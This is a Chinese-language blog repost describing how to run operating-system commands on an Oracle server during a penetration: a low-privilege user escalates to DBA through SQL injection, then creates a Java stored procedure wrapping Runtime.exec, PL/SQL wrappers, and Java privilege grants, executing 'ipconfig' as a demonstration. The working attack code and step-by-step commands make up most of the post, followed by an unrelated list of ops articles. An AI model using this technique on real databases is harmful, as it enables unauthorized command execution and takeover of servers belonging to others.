[最新提示]通过Oracle渗透中执行OS命令

简介:

前奏:

需要利用有REscourse权限的用户比如SCOTT登录Oracle并用SQLInjection提权至DBA权限

网上有一种执行OS命令的方法:

c:\1.sql
create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*; 
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1; 
try
{
Process p = rt.exec(args);
int bufSize = 4096; 
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len); 
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}

c:\2.sql

create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';

c:\3.sql

create or replace procedure RC(p_cmd in varChar)
as
x number;
begin 
x := RUN_CMz(p_cmd);
end;

登陆上去后依旧是依次执行

SQL> @c:\1.sql
        /

       @c:\2.sql

       /

      @c:\3.sql

      /

variable x number;

set serveroutput on;

exec dbms_java.set_output(100000);

grant javasyspriv to system;

grant javauserpriv to system; 
网上的方法没有这一行,我无法成功,加上去可以

exec :x:=run_cmz('ipconfig'); 
 

注意:最后加亮的两句~这里的system要对应你登录的用户名~比如用scott登录的~就要更改为scott,另外如果第一次执行错误要退出后从新登录再顺序执行~否则Oracle会一直提示权限不够~














本文转sinojelly51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/397547,如需转载请自行联系原作者

相关文章
|
弹性计算 人工智能 运维
摆脱繁琐命令-让运维更加流畅-阿里云ECS操作系统控制台运维篇
阿里云操作系统控制台提供了便捷的服务器监控与管理功能,简化了运维工作。通过将多台服务器纳入统一监控平台,用户可以快速查看CPU、内存、磁盘和网络等关键资源的使用情况,避免了逐一远程连接查询的繁琐操作。此外,该工具支持自动化数据汇总,极大地方便了日报、周报和月报的编写。测试过程中,系统展示了良好的稳定性和响应速度,尤其在网络抖动和大文件健康状态测试中表现出色。整体体验流畅,显著提升了运维效率。 操作系统控制台地址:[点击访问](https://alinux.console.aliyun.com/)
398 26
摆脱繁琐命令-让运维更加流畅-阿里云ECS操作系统控制台运维篇
|
9月前
|
存储 Oracle 关系型数据库
oracle数据恢复—oracle数据库执行错误truncate命令的数据恢复案例
oracle数据库误执行truncate命令导致数据丢失是一种常见情况。通常情况下,oracle数据库误操作删除数据只需要通过备份恢复数据即可。也会碰到一些特殊情况,例如数据库备份无法使用或者还原报错等。下面和大家分享一例oracle数据库误执行truncate命令导致数据丢失的数据库数据恢复过程。
|
弹性计算 前端开发 Ubuntu
OS Copilot全命令测评报告
作为一名Web前端工程师,我使用OS Copilot的`-t`、`-f`和`|`功能进行了测试。通过创建ECS实例并安装OS Copilot,我顺利完成了以下任务: 1. 环境搭建:使用`-t`参数获取了详细的静态页面发布步骤,解决了环境配置问题 2. 多步操作:借助`-f`参数自动化安装和配置httpd服务器,简化了多步骤操作 3. 文件分析:利用`|`功能分析HTML文件内容,确认是否符合预期 整个过程顺畅无阻,特别是`-t`和`-f`功能极大提高了工作效率。建议将这些功能设为默认自带,以减少安装步骤。总结来说,OS Copilot在处理复杂任务时表现出色,提供了详尽的操作指引和自动化支持
188 8
|
Shell Linux C语言
Linux初学者必备:全面掌握核心命令
Linux命令是操作系统的核心组成部分,用于管理和操作文件系统、网络、硬件资源以及执行各种任务。下面列出了一些常用的Linux命令及其基本用途,
371 1
Linux初学者必备:全面掌握核心命令
|
SQL 运维 Oracle
入门级Oracle 11g日常运维命令总结
入门级Oracle 11g日常运维命令总结
990 1
|
运维 Oracle 前端开发
Oracle 11g RAC集群日常运维命令总结
Oracle 11g RAC集群日常运维命令总结
665 2
|
Linux 编译器 C语言
./build.sh:行1: g++: 未找到命令的错误问题在centos操作系统下面如何解决
通过上述步骤,您应该能够有效地解决CentOS系统中 `g++: 未找到命令`的错误。确保软件开发环境配置得当,对于顺利执行编译脚本和日常开发工作至关重要。如果问题依然存在,考虑检查脚本内的命令路径引用是否正确,或进一步排查系统配置问题。
686 0
|
存储 Java iOS开发
MacOS环境-手写操作系统-43-dir命令的实现 和 文件写入
MacOS环境-手写操作系统-43-dir命令的实现 和 文件写入
201 0
|
SQL Oracle 关系型数据库
探索 Linux 命令 `db_archive`:Oracle 数据库归档日志的工具
探索 Linux 中的 `db_archive`,实际与 Oracle 数据库归档日志管理相关。在 Oracle 中,归档日志用于恢复,当在线重做日志满时自动归档。管理员可使用 SQL*Plus 查看归档模式,通过 `RMAN` 进行备份和恢复操作。管理归档日志需谨慎,避免数据丢失。了解归档管理对 Oracle 管理员至关重要,确保故障时能快速恢复数据库。
|
运维 安全 Unix
Linux操作系统 , 常用命令
Linux操作系统 , 常用命令

推荐镜像

更多